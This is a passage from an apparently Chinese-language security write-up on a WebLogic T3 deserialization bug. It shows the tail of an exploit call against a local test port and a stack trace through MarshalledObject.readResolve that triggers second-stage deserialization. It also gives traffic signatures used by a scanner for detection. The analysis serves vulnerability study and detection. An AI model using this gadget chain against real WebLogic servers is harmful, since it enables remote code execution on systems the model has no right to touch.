"127.0.0.1"port = 7001light_up(dip=ip,dport=port)
同样跟一下代码:
readResolve:58, MarshalledObject (weblogic.corba.utils)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:57, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:601, Method (java.lang.reflect)invokeReadResolve:1091, ObjectStreamClass (java.io)readOrdinaryObject:1805, ObjectInputStream (java.io)readObject0:1348, ObjectInputStream (java.io)readObject:370, ObjectInputStream (java.io)readObject:66, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)init:213, MsgAbbrevInputStream (weblogic.rjvm)dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:967, SocketMuxer (weblogic.socket)readReadySocket:899, SocketMuxer (weblogic.socket)processSockets:130, PosixSocketMuxer (weblogic.socket)run:29, SocketReaderRequest (weblogic.socket)execute:42, SocketReaderRequest (weblogic.socket)execute:145, ExecuteThread (weblogic.kernel)run:117, ExecuteThread (weblogic.kernel)
一样通过InboundMsgAbbrev为入口进行数据的read操作,由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化:
流量特征上,出现的类变为weblogic.corba.utils.MarshalledObject,而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl,故weblogicScaner的检测项变为了org.apache.commons.collections.functors.InvokerTransformer
后记
Extractor导致的漏洞放在下一篇。
参考文章:
https://xz.aliyun.com/t/10365#toc-6
https://xz.aliyun.com/t/10563#toc-10
https://www.anquanke.com/post/id/226070#h2-15